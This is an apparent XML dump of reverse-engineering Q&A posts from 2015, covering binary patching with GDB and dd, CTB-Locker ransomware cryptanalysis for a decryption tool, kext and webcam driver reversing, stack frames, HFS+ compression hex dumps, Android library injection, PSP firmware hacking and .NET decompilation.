  <row Id="8200" PostTypeId="1" AcceptedAnswerId="8201" CreationDate="2015-02-11T04:33:04.480" Score="2" ViewCount="4774" Body="&lt;p&gt;I'm working on an assignment for a systems programming class, and for extra credit we are asked to modify an executable to allow it to accept the reverse of our PIN (finding the PIN was the original assignment). I was able to use GDB to change the memory values being stored for the PIN to the reverse, and when I run the program it works as intended. The only issue is that I can't save these changes to the executable. Once I exit the debugger it reverts to normal. I've tried using &quot;set write on&quot; and &quot;gdb -write &quot; before making changes, but the changes still wouldn't stick. Does anyone know if what I'm tyring to do is even possible, or where I might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="11710" LastActivityDate="2015-02-11T07:19:01.350" Title="Using GDB to modify an executable" Tags="|x86|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8201" PostTypeId="2" ParentId="8200" CreationDate="2015-02-11T07:19:01.350" Score="2" Body="&lt;p&gt;Did you remember to reload your program after &lt;code&gt;set write on&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And did you load your (writable) copy of the original program (as opposed to the professor's copy in a shared location that everyone has read access to, but noone can write) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, i've never used gdb to patch files directly, i normally use a hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have a hex editor on your system, maybe you have &lt;code&gt;xxd&lt;/code&gt;, which allows you to turn a binary into a hex dump and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you can still do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'X' | dd of=binary.file bs=1 seek=12345 count=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to patch the byte at offset 12345 in your file to an X. This method has the advantage that it doesn't depend on any gnu utilities, so it works on most variants of unix.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-11T07:19:01.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8202" PostTypeId="1" AcceptedAnswerId="8273" CreationDate="2015-02-11T13:57:53.307" Score="3" ViewCount="893" Body="&lt;p&gt;CTB-Locker is a currently active ransomware that encrypts files to lock users out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few links about this malware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://securelist.com/analysis/publications/64608/a-new-generation-of-ransomware/&quot; rel=&quot;nofollow&quot;&gt;A new generation of ransomware: Elliptic curve cryptography + Tor + Bitcoin&lt;/a&gt;, by Fedor Sinitsyn, July 24, 2014.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.eset.com/int/about/press/eset-blog/article/ctb-locker-ransomware-striking-in-europe-and-latin-america/&quot; rel=&quot;nofollow&quot;&gt;CTB-Locker: Multilingual Malware Demands Ransom&lt;/a&gt;, by Pablo Ramos, January 21, 2015.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.trendmicro.com/trendlabs-security-intelligence/ctb-locker-ransomware-includes-freemium-feature-extends-deadline/&quot; rel=&quot;nofollow&quot;&gt;CTB-Locker Ransomware Includes Freemium Feature, Extends Deadline&lt;/a&gt;, by Trend Micro, January 21, 2015.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bleepingcomputer.com/virus-removal/ctb-locker-ransomware-information&quot; rel=&quot;nofollow&quot;&gt;CTB Locker and Critroni Ransomware Information Guide and FAQ&lt;/a&gt;, by Lawrence Abrams, January 29, 2015.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://zairon.wordpress.com/2015/02/09/ctb-locker-files-decryption-demonstration-feature/&quot; rel=&quot;nofollow&quot;&gt;CTB-Locker: files decryption demonstration feature&lt;/a&gt;, by Zairon, February 9, 2015.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://christophe.rieunier.name/securite/CTB-Locker/CTB-Locker_analysis_en.php&quot; rel=&quot;nofollow&quot;&gt;CTB-Locker dropper&lt;/a&gt;, by Christophe Rieunier.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.decryptcryptolocker.com/&quot; rel=&quot;nofollow&quot;&gt;decryptcryptolocker.com&lt;/a&gt;, by FireEye and Fox IT (doesn't seems to work for CTB-Locker).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/CryptoLocker&quot; rel=&quot;nofollow&quot;&gt;CryptoLocker&lt;/a&gt;, Wikipedia (a similar Ransomware).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a complete analysis about the encryption used by CTB-Locker, and some hints about possible cryptanalysis based on some weaknesses of this cryptographic scheme that can be used to recover the encrypted files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea would be to produce a (free) tool similar to &lt;a href=&quot;https://www.decryptcryptolocker.com/&quot; rel=&quot;nofollow&quot;&gt;decryptcryptolocker.com&lt;/a&gt;, that can perform the decryption for users.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-02-13T10:16:47.727" LastActivityDate="2015-02-18T13:44:38.027" Title="Where to find a full analysis of the encryption scheme of CTB-Locker?" Tags="|tools|malware|cryptanalysis|ransomware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8203" PostTypeId="5" CreationDate="2015-02-11T15:13:21.380" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-02-11T15:13:21.380" LastActivityDate="2015-02-11T15:13:21.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8204" PostTypeId="4" CreationDate="2015-02-11T15:13:21.380" Score="0" Body="Ransomware is kind of malware which asks for ransom to restore victims PC into original state." OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-02-11T16:27:25.590" LastActivityDate="2015-02-11T16:27:25.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8205" PostTypeId="2" ParentId="8195" CreationDate="2015-02-11T15:57:28.773" Score="7" Body="&lt;p&gt;&lt;strong&gt;Answering Your Question Directly&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reverse Kernal Extensions with IDA Pro, Radare2, GDB or whatever dissasembler you would like. Yes, you will have to learn what C++ structures look like once disassembled. I can't answer the &quot;static analysis or dynamic analysis?&quot; question directly, since often the answer is &quot;both, depending on exactly what you want.&quot; Some Reverse Engineers start with the static, and some start with the dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;personally&lt;/em&gt; would start with a static analysis tool because: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I imagine the driver is rather large. If you don't know what you are looking for, you could spend a long, long time single stepping. &lt;/li&gt;&#xA;&lt;li&gt;You will get more out of this by searching over and analyzing specific function calls in the driver. Their use will most likely be self evident in the driver once you see their relation to other functions&lt;/li&gt;&#xA;&lt;li&gt;There isn't an element of obfuscation here. Nor do you need to check the &lt;em&gt;exact&lt;/em&gt; position of anything in memory. &lt;/li&gt;&#xA;&lt;li&gt;You are trying to rewrite a driver from this anyway, seeing things in a format that resembles source code will help that process. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But to each his own. Given enough time I would go through both processes just for the sake of knowing. Also, to pull this off correctly, you will need to learn a little about Macintosh system programming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a class at recon on this subject this year: &lt;a href=&quot;http://www.recon.cx/2015/trainingosx.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.recon.cx/2015/trainingosx.html&lt;/a&gt; (once the white paper is published, it should be linked in this answer) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet from a book on kernal exploitation that takes you through the basics of reversing a kext with IDA pro: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://books.google.com/books?id=G6Zeh_XSOqUC&amp;amp;pg=PA215&amp;amp;lpg=PA215&amp;amp;dq=IDA+pro+kernel+extension+mac&amp;amp;source=bl&amp;amp;ots=0y3XXMAgqH&amp;amp;sig=6HkJnGKmW7OugZiHo42DwOYtaY8&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ei=93nbVIe_BYWVyQT4z4HgDw&amp;amp;ved=0CEIQ6AEwBQ#v=onepage&amp;amp;q=IDA%20pro%20kernel%20extension%20mac&amp;amp;f=false&quot; rel=&quot;noreferrer&quot;&gt;https://books.google.com/books?id=G6Zeh_XSOqUC&amp;amp;pg=PA215&amp;amp;lpg=PA215&amp;amp;dq=IDA+pro+kernel+extension+mac&amp;amp;source=bl&amp;amp;ots=0y3XXMAgqH&amp;amp;sig=6HkJnGKmW7OugZiHo42DwOYtaY8&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ei=93nbVIe_BYWVyQT4z4HgDw&amp;amp;ved=0CEIQ6AEwBQ#v=onepage&amp;amp;q=IDA%20pro%20kernel%20extension%20mac&amp;amp;f=false&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding this particular camera:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the camera in question is referenced in the conversation found here: &lt;a href=&quot;https://bugzilla.kernel.org/show_bug.cgi?id=71131&quot; rel=&quot;noreferrer&quot;&gt;https://bugzilla.kernel.org/show_bug.cgi?id=71131&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, this camera speaks over &lt;em&gt;PCI&lt;/em&gt; because it does not compress its video before being sent to the system. The thread states that there is already a project underway to make a driver for the camera, which can be found at &lt;a href=&quot;https://github.com/patjak/bcwc_pcie&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/patjak/bcwc_pcie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki on this site is informative, and lists some of the issues with reverse engineering this sort of driver. The wiki page found at: &lt;a href=&quot;https://github.com/patjak/bcwc_pcie/wiki/Mac-OS-X-driver&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/patjak/bcwc_pcie/wiki/Mac-OS-X-driver&lt;/a&gt; gives some great ideas for where you should be starting on the mac side of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on their to do list, you might want to focus on helping rip the device firmware from the device itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding developing your own driver:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start from a different direction, and reverse engineer the camera itself. Depending on the complexity of your camera, you may be able to speak to it directly without a driver over serial. You might also be able to open up the camera, and speak to it directly via a debug port (think JTAG, or even simpler.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time I read your question, I thought you meant a small camera outside your computer, but I am guessing you mean a camera built into your laptop. I think in that case, you could just adapt a driver from an existing webcam, and see where it dies. I believe these cameras are fairly generic bits of hardware at this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most webcam's on Linux use this driver: &lt;a href=&quot;https://help.ubuntu.com/community/UVC&quot; rel=&quot;noreferrer&quot;&gt;https://help.ubuntu.com/community/UVC&lt;/a&gt;, and potentially you can just run this driver and see where it dies/can't communicate with the camera. At any rate, watching the actual communications with the camera will give you a much better idea of what you need to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding the Utility of reversing a Macintosh Kernal extension:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be less worried about the c++/C difference versus differences in system libaries, and the system call interface. It certainly wouldn't hurt to analyze the driver for your own edification, but you may find that it gets most of its work done by calling mac system libraries that don't work the same way in linux. You will be most interested in reading the parts of the driver that define the communication with the camera. At any rate, you wont be able to directly convert the KeXT into a Linux Kernal Module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Final Advice:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, if your current webcam isn't working with your linux distro, I would first confirm that you have the proper generic driver, and then edit the generic driver to support your camera. You can do a pull request on the generic driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases the communications with these cameras are very simple serial communications. I suspect that triggering an error from the generic driver will be faster than trying to decipher the mac driver. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2015-02-11T19:57:16.907" LastActivityDate="2015-02-11T19:57:16.907" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8206" PostTypeId="1" AcceptedAnswerId="8207" CreationDate="2015-02-11T19:22:47.137" Score="1" ViewCount="606" Body="&lt;p&gt;I've disassembled some C/C++ codes and realized the stack boundary is specified at beginning of a procedure, somehow like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. push ebp&#xA;2. mov ebp , esp&#xA;3. sub esp , &amp;lt;power&amp;gt; ; &amp;lt;power&amp;gt; is specified by mpreferred-stack-boundary=2^power&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is used to create stack frames, But What I need to know is why this subtract is used, Cause the stack grows down (by using push for local variables) and such the subtract causes :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------- ^&#xA;by sub esp,&amp;lt;power&amp;gt; &amp;lt;---- esp |&#xA;.                            |&#xA;.                            |&#xA;.                            |&#xA;---------------------------- |&#xA;esp &amp;lt;---- esp                |&#xA;---------------------------- |&#xA;ret address                  |&#xA;---------------------------- |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above picture shows that.So when in the rest of code if you have such the following codes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push var1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be taken at the top of it so it looks like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----------------------------&#xA;var1 (4 byte)                &#xA;-----------------------------^&#xA;by sub esp,&amp;lt;power&amp;gt; &amp;lt;---- esp |&#xA;.                            |&#xA;.                            |&#xA;.                            |&#xA;---------------------------- |&#xA;esp &amp;lt;---- esp                |&#xA;---------------------------- |&#xA;ret address                  |&#xA;---------------------------- |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the space between esp and var1 is going to be free without any use ?&#xA;that's what I want to know.&lt;/p&gt;&#xA;" OwnerUserId="10428" LastActivityDate="2015-02-11T19:48:20.423" Title="Stack frame boundary" Tags="|memory|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8207" PostTypeId="2" ParentId="8206" CreationDate="2015-02-11T19:48:20.423" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So the space between esp and var1 is going to be free without any use&#xA;  ? that's what I want to know.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That stack space is used for the function's local variables (also known as &quot;stack variables&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a nice animated GIF that shows a function's stack frame being created and used to store local variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvEF3.gif&quot; alt=&quot;GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-11T19:48:20.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8209" PostTypeId="1" AcceptedAnswerId="8233" CreationDate="2015-02-12T03:48:52.483" Score="6" ViewCount="1623" Body="&lt;p&gt;I'm trying to decompress a Mach-O binary which has been compressed using one of the compression algorithms in Mac 10.10's HFS+ implementation. Basically the file has the &amp;quot;com.apple.decmpfs&amp;quot; attribute on it, which says that it is compression type 8. Then the compressed contents of the file are stored in the file's resource fork.&lt;/p&gt;&#xA;&lt;p&gt;It doesn't seem to have any identifiable header on it. Does anyone recognize it, or have any ideas what it might be? Below is a dump of the first 0x200 bytes of the compressed version of &lt;code&gt;/bin/bash&lt;/code&gt;, and the first 0x200 bytes of the same file as viewed under Mac OS.&lt;/p&gt;&#xA;&lt;p&gt;The Mach-O header (&lt;code&gt;CF FA ED FE&lt;/code&gt;) and some executable's strings (e.g. &lt;code&gt;__PAGEZERO&lt;/code&gt;) can be seem in the compressed version.&lt;/p&gt;&#xA;&lt;h3&gt;Compressed (first 0x200 bytes of &lt;code&gt;/bin/bash&lt;/code&gt;):&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F &#xA;&#xA;00000000  E0 01 CF FA ED FE 07 00 00 01 03 00 00 80 02 00  à.Ïúíþ.......€.. &#xA;00000010  00 00 12 00 04 E8 E8 06 00 00 85 00 20 00 08 01  .....èè...…. ... &#xA;00000020  40 04 19 46 48 EB 5F 5F 50 41 47 45 5A 45 52 4F  @..FHë__PAGEZERO &#xA;00000030  00 38 01 F7 9E 01 00 F0 0C 08 48 8E 28 02 E5 54  .8.÷ž..ð..HŽ(.åT &#xA;00000040  45 58 54 00 38 01 F3 10 40 9E 60 08 F8 20 10 46  EXT.8.ó.@ž`.ø .F &#xA;00000050  07 46 05 48 0D 06 10 88 E5 74 65 78 74 00 30 01  .F.H...ˆåtext.0. &#xA;00000060  38 50 F6 9E EC 0B C8 10 5F 1C 07 F5 50 0A 02 20  8Pöžì.È._..õP.. &#xA;00000070  01 E4 04 00 80 00 FA F1 E8 5F 5F 73 74 75 62 73  .ä..€.úñè__stubs &#xA;00000080  00 F8 38 50 F6 CE 4C 28 07 F1 CE 62 04 00 F1 28  .ø8PöÎL(.ñÎb..ñ( &#xA;00000090  10 28 01 60 50 08 6E 06 F5 E7 5F 68 65 6C 70 65  .(.`P.n.õç_helpe &#xA;000000A0  72 FA F9 9E B0 2C 9E 5E 07 08 10 38 A0 F0 04 E7  rúùž°,ž^...8 ð.ç &#xA;000000B0  63 73 74 72 69 6E 67 FA FD 9E 0E 34 9E 61 F8 08  cstringúýž.4žaø. &#xA;000000C0  10 38 01 F2 38 5C F3 18 50 C9 41 6F 6E 73 F6 38  .8.ò8\ó.PÉAonsö8 &#xA;000000D0  50 F6 CE 70 2C 08 F1 9E F0 21 08 10 20 FB 38 01  PöÎp,.ñžð!.. û8. &#xA;000000E0  FB ED 5F 5F 75 6E 77 69 6E 64 5F 69 6E 66 6F 38  ûí__unwind_info8 &#xA;000000F0  50 F9 9E 60 4E 9E 94 11 08 10 38 94 F6 38 01 F2  Pùž`Nž”...8”ö8.ò &#xA;00000100  0A 28 56 78 E4 44 41 54 41 FA F1 58 48 60 9E 00  .(VxäDATAúñXH`ž. &#xA;00000110  E0 32 30 5E B0 08 F6 60 08 03 08 01 E4 5F 5F 67  à20^°.ö`....ä__g &#xA;00000120  6F 3A 27 F1 38 50 FF 9E 38 01 F4 58 0A 03 10 01  o:'ñ8Pÿž8.ôX.... &#xA;00000130  09 D0 98 01 BB 00 F4 EF 5F 5F 6E 6C 5F 73 79 6D  .Ð˜.».ôï__nl_sym &#xA;00000140  62 6F 6C 5F 70 74 72 38 50 F7 9E 38 61 9E 10 00  bol_ptr8P÷ž8až.. &#xA;00000150  08 10 38 50 F6 6E E2 F5 9E 6C 61 F0 06 66 48 9E  ..8Pönâõžlað.fHž &#xA;00000160  D8 05 6E 48 F7 08 E8 98 01 E4 00 F4 39 D8 F8 38  Ø.nH÷.è˜.ä.ô9Øø8 &#xA;00000170  50 F4 9E 20 67 9E 88 26 08 10 39 D8 F0 04 E5 64  Pôž gžˆ&amp;amp;..9Øð.åd &#xA;00000180  61 74 61 00 30 01 38 50 F6 9E B0 8D 9E 04 79 08  ata.0.8Pöž°.ž.y. &#xA;00000190  10 38 50 F0 04 E6 63 6F 6D 6D 6F 6E FA FE CE C0  .8Pð.æcommonúþÎÀ &#xA;000001A0  06 09 F1 C8 01 68 0E 00 F5 38 50 F2 6E 01 F9 9B  ..ñÈ.h..õ8Pòn.ù› &#xA;000001B0  B6 62 73 F4 38 50 F8 9E 30 15 9E 10 21 F0 10 3C  ¶bsô8Pøž0.ž.!ð.&amp;lt; &#xA;000001C0  E8 E7 4C 49 4E 4B 45 44 49 2A C4 58 48 40 9E 00  èçLINKEDI*ÄXH@ž. &#xA;000001D0  A0 F1 90 07 10 09 96 A0 87 11 88 38 4C F2 45 48   ñ....– ‡.ˆ8LòEH &#xA;000001E0  22 48 09 30 00 28 41 B1 50 C8 3B 50 13 09 F5 08  &amp;quot;H.0.(A±PÈ;P..õ. &#xA;000001F0  01 40 10 F0 EA 08 0C 00 00 F8 1F 09 00 F8 33 1B  .@.ðê....ø...ø3. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Uncompressed (first 0x200 bytes of &lt;code&gt;/bin/bash&lt;/code&gt;):&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F &#xA;&#xA;00000000  CF FA ED FE 07 00 00 01 03 00 00 80 02 00 00 00  Ïúíþ.......€.... &#xA;00000010  12 00 00 00 E8 06 00 00 85 00 20 00 00 00 00 00  ....è...…. ..... &#xA;00000020  19 00 00 00 48 00 00 00 5F 5F 50 41 47 45 5A 45  ....H...__PAGEZE &#xA;00000030  52 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 00  RO.............. &#xA;00000040  00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................ &#xA;00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ &#xA;00000060  00 00 00 00 00 00 00 00 19 00 00 00 28 02 00 00  ............(... &#xA;00000070  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;00000080  00 00 00 00 01 00 00 00 00 60 08 00 00 00 00 00  .........`...... &#xA;00000090  00 00 00 00 00 00 00 00 00 60 08 00 00 00 00 00  .........`...... &#xA;000000A0  07 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00  ................ &#xA;000000B0  5F 5F 74 65 78 74 00 00 00 00 00 00 00 00 00 00  __text.......... &#xA;000000C0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;000000D0  EC 0B 00 00 01 00 00 00 5F 1C 07 00 00 00 00 00  ì......._....... &#xA;000000E0  EC 0B 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ì............... &#xA;000000F0  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...€............ &#xA;00000100  5F 5F 73 74 75 62 73 00 00 00 00 00 00 00 00 00  __stubs......... &#xA;00000110  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;00000120  4C 28 07 00 01 00 00 00 62 04 00 00 00 00 00 00  L(......b....... &#xA;00000130  4C 28 07 00 01 00 00 00 00 00 00 00 00 00 00 00  L(.............. &#xA;00000140  08 04 00 80 00 00 00 00 06 00 00 00 00 00 00 00  ...€............ &#xA;00000150  5F 5F 73 74 75 62 5F 68 65 6C 70 65 72 00 00 00  __stub_helper... &#xA;00000160  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;00000170  B0 2C 07 00 01 00 00 00 5E 07 00 00 00 00 00 00  °,......^....... &#xA;00000180  B0 2C 07 00 02 00 00 00 00 00 00 00 00 00 00 00  °,.............. &#xA;00000190  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...€............ &#xA;000001A0  5F 5F 63 73 74 72 69 6E 67 00 00 00 00 00 00 00  __cstring....... &#xA;000001B0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;000001C0  0E 34 07 00 01 00 00 00 61 F8 00 00 00 00 00 00  .4......aø...... &#xA;000001D0  0E 34 07 00 00 00 00 00 00 00 00 00 00 00 00 00  .4.............. &#xA;000001E0  02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ &#xA;000001F0  5F 5F 63 6F 6E 73 74 00 00 00 00 00 00 00 00 00  __const......... &#xA;00000200  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3294" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-06-18T06:24:18.917" Title="Unknown Mac OSX 10.10 HFS+ compression" Tags="|file-format|osx|decompress|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8210" PostTypeId="1" CreationDate="2015-02-12T05:52:06.320" Score="1" ViewCount="539" Body="&lt;p&gt;I'm trying to statically inject code into an android app.&#xA;The best way would be to use APKStudio and the like, but there are very harsh restrictions on the device and the app itself, so that apk modifying is not feasible, and injecting code into the .so file the apk uses would be pretty much the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've been searching for hours for ARM binary instrumenting tools, and I've come across a lot of dynamic instrumenting tools, but not any static ones.&#xA;What I'm trying to achieve is, injecting code into a codecave or overwrite ARM code into an existing function in a library that resides in /data/data/com.appname/libs/. So when the app is launched, the corresponding library get loaded and the code gets executed. The device is rooted of course so I can modify the library, but the app requires the device to be unrooted when the app is actually running. I can use SuperSU to modify/overwrite existing app libraries, then unroot the device when before launching the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any existing tools or blog posts out there, it would be grateful if you could point me to some links. If there's nothing, then I'd probably just use the code in dynamic instrumentation tools and create a small tool to do the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! :)&lt;/p&gt;&#xA;" OwnerUserId="11746" LastActivityDate="2021-01-16T09:00:33.563" Title="Static binary instrumentation tools for android .so libraries?" Tags="|c++|static-analysis|android|arm|patching|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8212" PostTypeId="1" CreationDate="2015-02-12T11:25:30.323" Score="1" ViewCount="2591" Body="&lt;p&gt;How was PSP hacked?&#xA;On first hand, how do people rip the binary out of PSP? I am just curious how all those hardware reverse engineering works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Is there a PSP Custom firmware developer community around? &lt;/p&gt;&#xA;" OwnerUserId="11749" LastActivityDate="2015-02-12T23:07:58.020" Title="How was Playstation Portable hacked? How is custom firmware developed?" Tags="|firmware|hardware|mips|" AnswerCount="2" CommentCount="1" ClosedDate="2015-02-15T12:43:35.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="8213" PostTypeId="5" CreationDate="2015-02-12T11:33:28.590" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-02-12T11:33:28.590" LastActivityDate="2015-02-12T11:33:28.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8214" PostTypeId="4" CreationDate="2015-02-12T11:33:28.590" Score="0" Body="Shockwave Flash (also known as 'Adobe Flash' or 'Macromedia Flash') is a multimedia and software platform used for creating vector graphics, animation, games and rich Internet applications (RIAs) that can be viewed, played and executed in Adobe Flash Player. Mostly used to display multimedia components such as images, audio or movies within a web page." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-02-12T11:33:28.590" LastActivityDate="2015-02-12T11:33:28.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8215" PostTypeId="1" AcceptedAnswerId="8220" CreationDate="2015-02-12T13:40:24.813" Score="13" ViewCount="29899" Body="&lt;p&gt;I wonder if total decompilation of arbitrary non packed project .NET is possible? If no, what is the conditions that should be met to make it possible? If yes, is there tools that can automate this? I'm wondering not about basic decompilers, but about the ability of complete project recovery to compile result with VS again.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet tried to apply only dotPeek for my case. Unfortunately the output is not looks like ready-to-go project but all errors seems to be debugable. Disadvantage is the inability to export both dlls and exe into one project automatically(poor man's editing &lt;code&gt;.sln&lt;/code&gt; file required)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like ILSpy has no option of export ready-to-go solutions for one/multiple .NET assemblies. Maybe there is some plugin/extension that should handle this? Will update this post if find one.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2015-02-12T22:05:17.057" LastActivityDate="2019-10-08T12:35:08.310" Title="Recovering .NET sources into full blown project" Tags="|decompilation|.net|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
